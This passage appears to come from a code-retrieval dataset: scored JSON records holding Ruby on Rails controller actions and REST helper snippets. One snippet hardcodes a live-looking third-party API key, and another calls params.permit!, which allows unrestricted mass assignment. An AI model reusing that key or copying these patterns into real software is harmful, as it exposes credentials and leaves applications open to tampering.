"0.55632716", "text": "def set_tenant_scope(args = {}) \n put(\"/tenants.json/scope/#{args[:tenantId]}\", args)\nend", "title": "" }, { "docid": "08a0fd96e378ecd9f676516ecd3f66c9", "score": "0.55444616", "text": "def update\n @oferta_academica = OfertaAcademica.find(params[:id])\n\n if @oferta_academica.update(params[:oferta_academica])\n head :no_content\n else\n render json: @oferta_academica.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d45633a6586fbca332b2f1c19f25338c", "score": "0.553967", "text": "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "838ab86dcd3ee3c1efda458a9960b3c5", "score": "0.5493828", "text": "def update\n @tarefa = Tarefa.find(params[:id])\n\n respond_to do |format|\n if @tarefa.update_attributes(params[:tarefa])\n format.html { redirect_to @tarefa, notice: 'Tarefa was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tarefa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "14480bc1bf3c6159b62fbf2d61c66114", "score": "0.54923797", "text": "def update\n @assay = Assay.find(params[:id])\n\n respond_to do |format|\n if @assay.update_attributes(params[:assay])\n format.html { redirect_to @assay, notice: 'Assay was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assay.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6d706717ad6798faa15256ba0add64c8", "score": "0.5489297", "text": "def cfa_update\n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : Entered in cfa titles cfa_update method\"\n \n begin\n params.permit!\n data=params[\"cfas\"]\n cfa={:cfa_title=>{\"job_name\": params[:job_name]}}\n cfa=RestClient.put $api_service+'/cfa_titles/'+data[:id],cfa \n Rails.logger.info_log.info \" I,[#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S %Z\")}]\" \"INFO -- : cfa_updated successfully\"\n rescue =>e\n Rails.logger.custom_log.error { \"#{e}cfas_controller cfa_update method\" }\n end\n redirect_to :action => \"index\"\n # redirect_to :action => \"show\" ,:id=>data[:id]\n end", "title": "" }, { "docid": "9a377a4d45d3e87840fd49daa9de33b9", "score": "0.54821485", "text": "def update\n respond_to do |format|\n if @av1.update(av1_params)\n format.html { redirect_to @av1, notice: 'Av1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @av1 }\n else\n format.html { render :edit }\n format.json { render json: @av1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc0d1b7cd7085243747dd2b0952fc0ac", "score": "0.54787254", "text": "def update\n @agenda_type = AgendaType.find(params[:id])\n\n respond_to do |format|\n if @agenda_type.update_attributes(params[:agenda_type])\n format.html { redirect_to @agenda_type, :notice => 'Agenda type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @agenda_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "976bffc4eae41e6c6b2c2ff31d89478f", "score": "0.5476343", "text": "def update\n respond_to do |format|\n if @cta.update(cta_params)\n format.html { redirect_to @cta, notice: 'cta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cta.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6e2e33a0511b04a64a4525e4780f61c6", "score": "0.5474458", "text": "def create\n @aadt = Aadt.new(params[:aadt])\n\n respond_to do |format|\n if @aadt.save\n format.html { redirect_to @aadt, notice: 'Aadt was successfully created.' }\n format.json { render json: @aadt, status: :created, location: @aadt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @aadt.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "10d9982cf77894dbac91b126e8411bd1", "score": "0.5467268", "text": "def put url, payload\n RestClient::Request.execute(:method => :put, :url => url, :payload => payload, :headers => lbaas_headers, :timeout => @timeout, :open_timeout => @open_timeout)\n end", "title": "" }, { "docid": "f75edb99a52b3aa998fbcfde258bb05c", "score": "0.5465745", "text": "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "title": "" }, { "docid": "7ebf676aa22df8dcfbf3c0c4cb3bbb51", "score": "0.5463977", "text": "def assign_suspended_tenant_to_shard(args = {}) \n put(\"/shards.json/#{args[:shardId]}/tenant/#{args[:tenantId]}\", args)\nend", "title": "" }, { "docid": "d7636750a91aca7190c71674d2bf6301", "score": "0.5456328", "text": "def update!(**args)\n @id_token = args[:id_token] if args.key?(:id_token)\n @mfa_enrollment_id = args[:mfa_enrollment_id] if args.key?(:mfa_enrollment_id)\n @tenant_id = args[:tenant_id] if args.key?(:tenant_id)\n end", "title": "" }, { "docid": "0fd368330089a84e2d5b09dfe5b0dcc6", "score": "0.54474986", "text": "def update\n @srsaa = Srsaa.find(params[:id])\n\n respond_to do |format|\n if @srsaa.update_attributes(params[:srsaa])\n format.html { redirect_to :action }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @srsaa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3e5010e425e354ba4cbeed1cecd200c9", "score": "0.5445037", "text": "def update\n @aactio = Aactio.find(params[:id])\n\n respond_to do |format|\n if @aactio.update_attributes(params[:aactio])\n format.html { redirect_to @aactio, notice: 'Aactio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aactio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2cf72a83044ea760042c8c86b48169bb", "score": "0.5441686", "text": "def update\n @first_aid_course = FirstAidCourse.find(params[:id])\n\n respond_to do |format|\n if @first_aid_course.update_attributes(params[:first_aid_course])\n format.html { redirect_to @first_aid_course, notice: 'First aid course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @first_aid_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "88e73707d2b3bdd68e400ec7af084d22", "score": "0.5432452", "text": "def update\n @acd = Acd.find(params[:id])\n\n respond_to do |format|\n if @acd.update_attributes(params[:acd])\n format.html { redirect_to @acd, notice: 'Acd was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @acd.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d37b39a795a6e081d6480942ece1c538", "score": "0.5431083", "text": "def put!\n request! :put\n end", "title": "" }, { "docid": "35657e0140cf1a2c74695f9124c5de99", "score": "0.54224795", "text": "def update\n @ayudastemporal = Ayudastemporal.find(params[:id])\n\n respond_to do |format|\n if @ayudastemporal.update_attributes(params[:ayudastemporal])\n flash[:notice] = 'Ayudastemporal was successfully updated.'\n format.html { redirect_to(@ayudastemporal) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ayudastemporal.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39fa38e0d4ccde163ebb6d5413a4a724", "score": "0.54039794", "text": "def update\n url = 'https://casa-core.herokuapp.com/api/units/' + params[:id]\n query = {\n 'name' => params[:name]\n }\n response = HTTParty.put(url, :query => query, :headers => { \"Authorization\" => AUTH, \"Host\" => HOST})\n\n if response.code == 200\n redirect_to unit_path(params[:id]), notice: 'Unit was successfully updated.'\n else\n redirect_to unit_path(params[:id]), notice: 'Sheesh! Minor hiccup...run that again!'\n end\n end", "title": "" }, { "docid": "e039933a5ceedf0c45c0f5e2954c45da", "score": "0.5386569", "text": "def update\n @tasaiva = Tasaiva.find(params[:id])\n\n respond_to do |format|\n if @tasaiva.update_attributes(params[:tasaiva])\n format.html { redirect_to(@tasaiva, :notice => 'Tasaiva was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tasaiva.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "236368f3a04ba3de0404a063e9757af1", "score": "0.5376642", "text": "def update\n @apunte = Apunte.find(params[:id])\n\n respond_to do |format|\n if @apunte.update_attributes(params[:apunte])\n format.html { redirect_to @apunte, notice: 'Apunte was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apunte.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c626409ca8d6498f70ac98166c2bf930", "score": "0.5368725", "text": "def update\n @asaaddrobj = Asaaddrobj.find(params[:id])\n\n respond_to do |format|\n if @asaaddrobj.update_attributes(params[:asaaddrobj])\n format.html { redirect_to @asaaddrobj, notice: 'Asaaddrobj was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asaaddrobj.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "329765573fe727ba58fe410ab5edb74d", "score": "0.5365857", "text": "def put(path, data = {})\n self.class.put path, :body => data.merge(:u => access_token)\n end", "title": "" }, { "docid": "78dd2c7709c2af8520f8bf1344e8b5cd", "score": "0.5360597", "text": "def update\n data = tenant_update_params\n tookan = {\"api_key\": \"50646180f541481e4c422b614c5825431be3c2f82fd57936541c03\",\"customer_id\": @tenant.customer_id,\"user_type\": 0,\"name\": data[:name],\"phone\": data[:phone1],\"email\": data[:email],\"address\": data[:address],\"latitude\": data[:latitude],\"longitude\": data[:longitude]}\n response = RestClient.post \"https://api.tookanapp.com/v2/customer/edit\", tookan.to_json, :content_type => \"application/json\"\n response = JSON.parse(response)\n respond_to do |format|\n if response[\"status\"] == 200\n if @tenant.update(tenant_update_params)\n food_category = FoodCategory.find_or_create_by(name: \"Veg\")\n @tenant.tenant_details.update(food_category_id: food_category.id)\n if @tenant.active == true\n end\n end\n @tenant.update(:updated_by=>session[:kitchen_user_id])\n format.html { redirect_to tenants_url, notice: 'Tenant was successfully updated.' }\n format.json { render :show, status: :ok, location: @tenant }\n else\n format.html { redirect_to tenants_url, notice: 'Tenant was not updated.' }\n format.json { render json: @tenant.errors, status: :unprocessable_entity }\n end\n end\nend", "title": "" }, { "docid": "855f81d29ee8ff100cfefb3479cedcdd", "score": "0.5358631", "text": "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "title": "" }, { "docid": "bd9a9b4ed6997dfb989120fcf8970ef6", "score": "0.5342225", "text": "def update\n fix_tokenized_input_params\n respond_to do |format|\n if @ad.update(ad_params)\n format.html { redirect_to [@ad.org, @ad], notice: 'Ad was successfully updated.' }\n format.json { render :show, status: :ok, location: [@ad.org, @ad] }\n else\n format.html { render :edit }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50669ea4b9755da6e3231a96d2f4cf0f", "score": "0.5341552", "text": "def update(value, options = {})\n raise Diplomat::IdParameterRequired unless value['ID'] || value[:ID]\n\n custom_params = use_cas(@options)\n @raw = send_put_request(@conn, ['/v1/acl/update'], options, value, custom_params)\n parse_body\n end", "title": "" }, { "docid": "d7ded070d69fcb99e6bdc4c6041b0867", "score": "0.5339603", "text": "def update\n authorize! :update_almacen,Sigesp::Solicitud\n if @sigesp_solicitud.update(sigesp_solicitud_alamcen_params)\n return render json: { url: sigesp_solicitudsalmacen_path(@sigesp_solicitud)} \n else\n return render json:@sigesp_solicitud.errors ,status: :unprocessable_entity\n end \n end", "title": "" }, { "docid": "8ef4f3511dac896d8a5bd8697e0d286d", "score": "0.53154564", "text": "def update\n @tenancy_agreement = TenancyAgreement.find(params[:id])\n\n respond_to do |format|\n if @tenancy_agreement.update_attributes(params[:tenancy_agreement])\n format.html { redirect_to tenancy_agreements_path, notice: 'Tenancy agreement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenancy_agreement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dfa73190a70649da0226276c2db3db38", "score": "0.53099775", "text": "def destroy\n @aadt = Aadt.find(params[:id])\n @aadt.destroy\n\n respond_to do |format|\n format.html { redirect_to aadts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "317ac281da222717478d577575ff970a", "score": "0.52966255", "text": "def update\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n if @atracao.update_attributes(params[:atracao])\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6bc80ece31171944017cf73049ba6688", "score": "0.52951586", "text": "def update\n respond_to do |format|\n if @casa.update(casa_params)\n format.html { redirect_to @casa, notice: \"Casa was successfully updated.\" }\n format.json { render :show, status: :ok, location: @casa }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @casa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "033854704d271895aa5b71c59c2c6520", "score": "0.5287555", "text": "def update\n respond_to do |format|\n if @tap.update(tap_params)\n format.html { redirect_to taps_path, notice: 'Tap was successfully updated.' }\n format.json { head :no_content }\n else\n format.json { render json: @tap.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78653b8b43724262dadaca6f4dcef2cd", "score": "0.5279737", "text": "def update\n respond_to do |format|\n if @attdatum.update(attdatum_params)\n format.html { redirect_to @attdatum, notice: 'Attdatum was successfully updated.' }\n format.json { render :show, status: :ok, location: @attdatum }\n else\n format.html { render :edit }\n format.json { render json: @attdatum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5667e5ddafc93238112d1e5e3fe2c420", "score": "0.5278438", "text": "def update\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n if @tso.update_attributes(params[:tso])\n flash[:notice] = 'Tso was successfully updated.'\n format.html { redirect_to(@tso) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tso.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f833fcde5e5c77e74515af47c2ab1fc4", "score": "0.52754426", "text": "def update\n @masut_assay = MasutAssay.find(params[:id])\n @authorized_user = User.find(session[:user_id])\n respond_to do |format|\n if @masut_assay.update_attributes(params[:masut_assay])\n format.html { redirect_to masut_assays_url, notice: 'Данные анализа качества мазута успешно скорректированы.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @masut_assay.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "307388c406df0f0cf3530015898248e6", "score": "0.5272033", "text": "def update\n respond_to do |format|\n if @tccapi.update(tccapi_params)\n format.html { redirect_to @tccapi, notice: 'Tccapi was successfully updated.' }\n format.json { render :show, status: :ok, location: @tccapi }\n else\n format.html { render :edit }\n format.json { render json: @tccapi.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b720bae83527769d5684adee0a1bb2b", "score": "0.5269409", "text": "def update\n @access_token = AccessToken.find(params[:id])\n\n respond_to do |format|\n if @access_token.update_attributes(params[:access_token])\n format.html { redirect_to @access_token, notice: 'Access token was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @access_token.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6eccf0cb1ebc7404a9ae8d73fad0c91a", "score": "0.5268603", "text": "def put(*args)\n request :put, *args\n end", "title": "" }, { "docid": "4a442d9a53fcc74c34cfbf9a5bcaf559", "score": "0.5266663", "text": "def update \t\n record = AssetType.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end", "title": "" }, { "docid": "16a41a05ad3fd93aca29c5b5d39411ac", "score": "0.5263282", "text": "def update\n @tea = Tea.find(params[:id])\n\n respond_to do |format|\n if @tea.update_attributes(params[:tea])\n format.html { redirect_to @tea, notice: 'Tea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tea.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9091c6d5d904d0d003fd749a425a9b6", "score": "0.52631503", "text": "def update\n @aa = Aa.find(params[:id])\n\n respond_to do |format|\n if @aa.update_attributes(params[:aa])\n format.html { redirect_to admin_index_path, notice: '編集されました。' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aa.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3c8eabdaee5d9672595dc19343e9e4ed", "score": "0.52612376", "text": "def update\n @taux_tva = TauxTva.find(params[:id])\n\n respond_to do |format|\n if @taux_tva.update_attributes(params[:taux_tva])\n format.html { redirect_to(@taux_tva, :notice => 'Taux tva was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@taux_tva}}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @taux_tva.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "aec46b776d4764cad29269f923e9ddb1", "score": "0.526114", "text": "def update\n if @ad.update(ad_params)\n render :show, status: :ok, location: @ad\n else\n render json: @ad.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d5adf7e45bfd86535e5781086ace5a43", "score": "0.5257651", "text": "def update\n @atest = Atest.find(params[:id])\n\n respond_to do |format|\n if @atest.update_attributes(params[:atest])\n flash[:notice] = 'Atest was successfully updated.'\n format.html { redirect_to(@atest) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @atest.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "694dbc9460ee66c704172dce3f0e0852", "score": "0.52551883", "text": "def update\n respond_to do |format|\n if @asteroid.update(asteroid_params)\n format.html { redirect_to @asteroid, notice: 'Asteroid was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @asteroid.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c6059272baabee2212510e015eb7d8d", "score": "0.525375", "text": "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "title": "" }, { "docid": "9ad8cf1722d605f931d76f75c69db604", "score": "0.5252663", "text": "def update\n respond_to do |format|\n if @asana.update(asana_params)\n format.html { redirect_to @asana, notice: 'Asana atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @asana }\n else\n format.html { render :edit }\n format.json { render json: @asana.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97026073ed11da361f0dd8af7b87684e", "score": "0.5251116", "text": "def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end", "title": "" }, { "docid": "4fd07c1af936ce468f6003d40c26e023", "score": "0.5243358", "text": "def set_enrollment_ta\n @enrollment_ta = EnrollmentTa.find(params[:id])\n end", "title": "" }, { "docid": "31923363e9dc53316edbcc2ed7d3cf42", "score": "0.5239732", "text": "def update\n authorize! :update, @theorem\n if @theorem.update(theorem_params)\n render json: @theorem, status: :ok, location: @theorem\n else\n render json: @theorem.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "774825ca8992e0fb4ae004e1f5524a54", "score": "0.52385384", "text": "def assign_tenant_circles_to_an_aos_version_box(args = {}) \n body_put(\"/aosversions.json/aosversionbox/circles/#{args[:aosVersionBoxId]}\", args[:array_of_ids])\nend", "title": "" }, { "docid": "6a3fead34bb4bbaa59b6f17ba3345cb8", "score": "0.5232656", "text": "def update\n @iva = Iva.find(params[:id])\n\n if @iva.update(iva_params)\n head :no_content\n else\n render json: @iva.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "feecb940069702091eb3aaa511ab3dd6", "score": "0.5229673", "text": "def put(href, additional_parameters = {})\n rest_connect do |base_uri, headers|\n href = \"#{base_uri}/#{href}\" unless begins_with_slash(href)\n new_path = URI.escape(href)\n req = Net::HTTP::Put.new(new_path, headers) \n req.set_content_type('application/json')\n req.body = additional_parameters.to_json\n req\n end\n end", "title": "" }, { "docid": "c871ddfb41b57af7a4c66a56fd9e81cb", "score": "0.522578", "text": "def add_aos_version(args = {}) \n post(\"/aosversions.json/\", args)\nend", "title": "" }, { "docid": "fb545e9cebc8525ec7b58ec8e47b25bb", "score": "0.52240926", "text": "def update\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n if @home_indices_ad.update_attributes(params[:home_indices_ad])\n format.html { redirect_to @home_indices_ad, notice: 'Ad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_indices_ad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "87323c90696bbfc06406982b5b2aa817", "score": "0.52214324", "text": "def update\n @test_appointment = TestAppointment.find(params[:id])\n\n respond_to do |format|\n if @test_appointment.update_attributes(params[:test_appointment])\n format.html { redirect_to @test_appointment, notice: 'Test appointment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_appointment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b3733220b71317d3a8debf8fcac3eaea", "score": "0.52213144", "text": "def update\n @asana_type = Asana.find(params[:id], :include => :asanas) \n\n respond_to do |format|\n if @asana_type.update_attributes(params[:asana_type])\n flash.now[:notice] = 'Asana category was successfully updated.'\n format.html { redirect_to(@asana_type) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asana_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "24eeb2097cc6cd6bbe2b597bee6c0787", "score": "0.5209167", "text": "def update\n respond_to do |format|\n if @cta_cte.update(cta_cte_params)\n format.html { redirect_to @cta_cte, notice: 'Cta cte was successfully updated.' }\n format.json { render :show, status: :ok, location: @cta_cte }\n else\n format.html { render :edit }\n format.json { render json: @cta_cte.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a514013725390ce3fd5e75345f2d88d9", "score": "0.5205572", "text": "def update\n @atccode = Atccode.find(params[:id])\n\n respond_to do |format|\n if @atccode.update_attributes(params[:atccode])\n format.html { redirect_to @atccode, :notice => 'Atccode was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atccode.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d46c7869013d3100b0344461a44764e6", "score": "0.5205137", "text": "def UpdateView params = {}\n \n APICall(path: 'views.json',method: 'PUT',payload: params.to_json)\n \n end", "title": "" }, { "docid": "b132ef65d6c290d45f4463d5eba0cf98", "score": "0.5201359", "text": "def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f21c664d743807503b0e2ba1227e792", "score": "0.51983523", "text": "def set_api_v1_meet_tean\n @api_v1_meet_tean = Api::V1::MeetTean.find(params[:id])\n end", "title": "" }, { "docid": "fdb77ec33e143bb705a35f82e9dbd734", "score": "0.519772", "text": "def update\n @aream.edtdate = Time.now\n respond_to do |format|\n if @aream.update(aream_params)\n format.html { redirect_to @aream, notice: 'Aream was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @aream.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9abd6bb22832fe5fa255f9e645805b7c", "score": "0.5194445", "text": "def update\n\n if @teetime.update(teetime_params)\n\n render json: @teetime,status: :ok\n\n else\n\n render json: {error: true,errors: @teetime.errors},status: :unprocessable_entity\n\n end\n\n \t\tend", "title": "" }, { "docid": "0309798b3ad73b7c4474c6f382753d5d", "score": "0.5192388", "text": "def update\n date_format = \"#{appointment_params[\"date(1i)\"]}-#{appointment_params[\"date(2i)\"]}-#{appointment_params[\"date(3i)\"]}\"\n @appointment = Appointment.new(type_appointment_id: appointment_params[:type_appointment_id], description: appointment_params[:description], date: date_format,\n user_id: appointment_params[:user_id], estate_id: appointment_params[:estate_id], doctor_id: appointment_params[:doctor_id])\n \n respond_to do |format|\n if @appointment.update\n format.html { redirect_to @appointment, notice: 'Appointment was successfully updated.' }\n format.json { render :show, status: :ok, location: @appointment }\n else\n format.html { render :edit }\n format.json { render json: @appointment.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be16968129c0ea6de78537d7a08373a3", "score": "0.5188607", "text": "def update\n get_credentials\n begin\n response = resource[\"/update/#{app}\"].post(:apikey => @credentials[1], :frequency => options[:frequency])\n rescue RestClient::InternalServerError\n display \"An error has occurred.\"\n end\n display response.to_s\n end", "title": "" }, { "docid": "b5571ca85188f0f1c24593746c3bf3a3", "score": "0.5188394", "text": "def update\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n if @ad_tag.update_attributes(params[:ad_tag])\n format.html { redirect_to @ad_tag, notice: 'Ad tag was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ad_tag.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f25c1f1f6ad9c1646fe40dba61bf127b", "score": "0.51867765", "text": "def update!(**args)\n @audience = args[:audience] if args.key?(:audience)\n @grant_type = args[:grant_type] if args.key?(:grant_type)\n @options = args[:options] if args.key?(:options)\n @requested_token_type = args[:requested_token_type] if args.key?(:requested_token_type)\n @scope = args[:scope] if args.key?(:scope)\n @subject_token = args[:subject_token] if args.key?(:subject_token)\n @subject_token_type = args[:subject_token_type] if args.key?(:subject_token_type)\n end", "title": "" }, { "docid": "598ce05f6082b7f191b55f93bdaf11d0", "score": "0.51863885", "text": "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "title": "" }, { "docid": "1796f75fde254ced9110a8f895d60d73", "score": "0.5183589", "text": "def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c194aa7203d21c72f222e7ff6fcb2ab9", "score": "0.5183157", "text": "def update\n respond_to do |format|\n if @athletes_team.update(athletes_team_params)\n format.html { redirect_to @athletes_team, notice: 'Athletes team was successfully updated.' }\n format.json { render :show, status: :ok, location: @athletes_team }\n else\n format.html { render :edit }\n format.json { render json: @athletes_team.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12837c0a4589d71607cc2f7b7e22d78c", "score": "0.5182519", "text": "def update\n begin\n @appointment = Appointment.find(params[:id])\n rescue\n respond_info('error', 'internal_server_error', 'Update Appointment Failed', :internal_server_error)\n return\n end\n if @appointment.update(appointment_params)\n render :json => @appointments, :status => :no_content #HTTP status code: 204 No Content\n else\n render json: @appointment.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "24125e2a1d9d667f16bd47fe6ee68053", "score": "0.51812375", "text": "def update\n respond_to do |format|\n if @asteroid.update(asteroid_params)\n format.html { redirect_to @asteroid, notice: 'Asteroid was successfully updated.' }\n format.json { render :show, status: :ok, location: @asteroid }\n else\n format.html { render :edit }\n format.json { render json: @asteroid.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1f31bf74bc2e1ce21ba6da8e5ee13bfe", "score": "0.51809883", "text": "def update\n @arma = Arma.find(params[:id])\n\n respond_to do |format|\n if @arma.update_attributes(params[:arma])\n format.html { redirect_to @arma, notice: 'Arma was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @arma.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b82c3e5e218bcf73657937fb964e6215", "score": "0.5178462", "text": "def update\n @tenant = Tenant.find(params[:id])\n\n respond_to do |format|\n if @tenant.update_attributes(params[:tenant])\n format.html { redirect_to @tenant, notice: 'Tenant was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tenant.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73d3391d2d375a051efda4b20eec17b2", "score": "0.51747453", "text": "def update\n @instructor1 = Instructor1.find(params[:id])\n\n respond_to do |format|\n if @instructor1.update_attributes(params[:instructor1])\n format.html { redirect_to @instructor1, notice: 'Instructor1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instructor1.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "de8e5ae99b96a62f39c3b4e132c276c5", "score": "0.51711726", "text": "def update\n @scheduled_appointment = ScheduledAppointment.find(params[:id])\n\n respond_to do |format|\n if @scheduled_appointment.update_attributes(params.require(:scheduled_appointment).permit(:actual_date_time, :date_time, :purpose, :status, :store_id, :vehicle_id))\n format.html { redirect_to scheduled_appointments_url,\n notice: 'ScheduledAppointment was successfully updated.' }\n format.json { head :no_content }\n else\n prepFormVariables(@scheduled_appointment)\n format.html { render action: \"edit\" }\n format.json { render json: 